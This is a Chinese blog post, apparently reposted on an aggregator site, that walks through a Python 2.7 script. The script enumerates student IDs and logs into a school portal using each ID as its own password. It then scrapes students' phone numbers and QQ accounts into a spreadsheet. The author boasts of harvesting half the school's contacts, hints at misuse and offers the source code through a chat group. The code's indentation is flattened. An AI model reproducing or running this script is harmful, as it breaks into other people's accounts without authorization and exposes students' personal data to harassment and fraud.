爬虫实在是太好玩了!看我是如何获取整个学校的学生call和qq!

Posted py1357

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了爬虫实在是太好玩了!看我是如何获取整个学校的学生call和qq!相关的知识,希望对你有一定的参考价值。

技术分享图片

 

爬虫开始前的准备:

  • python2.7
  • 库文件(xlwt,urllib2,BeautifulSoup4,xlrd)

安装库文件的方法:

最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:

安装库文件:

pip install *** ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install
技术分享图片

 

如何查看自己已经安装了的库

pip list

观察网站结构(密码规则):

技术分享图片

 

密码规则

  • 首先这个规则是针对大二和已经毕业了的
  • 密码规则没有添加验证码(其实添加验证码也没什么用,只是添加了爬取门槛)
  • 规则是 用户名==密码
  • 符合条件
技术分享图片

 

user_info

  • 这里的用户信息
  • 不要在意这些细节(马赛克) 朦胧美一直是我的追求
技术分享图片

 

sys.setdefaultencoding("utf-8")
# ssl这个是验证证书 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一个存储cookie的对象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
技术分享图片

 

  • 学号的列表

不要在意我是怎么知道的,

重要的是这些规则,你怎么去重新写一个函数代入

(里面的我修改过,所以不要套用,以免浪费时间)

# 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表
def user_id():
 list_1 = []
 for i in xrange(101,249):
 list_1.append(‘1131050‘+str(i))
 for i in xrange(301,349):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,448):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(501,548):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,150):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(101,151):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(201,252):
 list_1.append(‘1135050‘+ str(i))
 for i in xrange(301,352):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,453):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,148):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(201,247):
 list_1.append(‘1131070‘+ str(i))
 return list_1
  • 用户信息的获取

这里用的的是beautifulsoup库

def user_info():
 url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
 html2 = opener.open(url_info).read()
 
 # python2.7 没装lxml的可能会报错,pip install lxml
 
 soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下来的lxml
 infos = soup.select("tr > td > span") # css seletor 来获取指定标签
 #print profes
 # print infos
 return infos
  • 写入xls(这个是思路)测试用的函数

因为在写的时候因为编码问题,不能写入中文

def write_user():
 file2 = xlwt.Workbook(encoding=‘utf-8‘) #打开一个excel,并且编码格式以 ‘utf-8‘
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True) #添加一个表
 table.write(0,0,"15d中文3s0") # 写入内容,table.write(row,col,‘value‘)
 file2.save(‘file2.xls‘)
  • 开始行动:
  • 添加上延迟访问: time.sleep(1)
  1. 因为爬虫访问的不和人一样,访问会很快,
  2. 这样可以避免被封ip 还有避免给站点带来不好的影响
def go_user():
 user_list = []
 user_infos = []
 user_list = user_id()
 file2 = xlwt.Workbook(encoding=‘utf-8‘)
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True)
 r = 0 #row 行
 for i in user_list:
 c = 0 #col
 login(username=i, password=i) #登录,并传入列表的学号
 user_infos = user_info() #获取学号信息,格式是字典
 for i in user_infos[0:10]: #写入表单中,循环把信息写进去
 # print i.get_text()
 table.write(r,c,i.get_text())
 c += 1
 r += 1
 time.sleep(1) #延迟访问,可避免封ip,还有影响服务器
 print r,c
 file2.save(‘file2.xls‘)

程序执行结束:

部分截图:有图有真相,避免无知的喷子

学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。

技术分享图片

 

end_info

不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦

技术分享图片

 

是不是很强势?有没有很装逼?哈哈哈!

进群:125240963  即可获取源码!

以上是关于爬虫实在是太好玩了!看我是如何获取整个学校的学生call和qq!的主要内容,如果未能解决你的问题,请参考以下文章

16:00面试,16:08就出来了 ,问的实在是太...

16:00面试,16:08就出来了 ,问的实在是太...

Virtual City Playground获得投资点值实在是太慢了,有哪位大虾有作弊修改的方法吗?

java爬虫爬取学校毕设题目

小学生细节描写作文案例分析

Python爬虫应用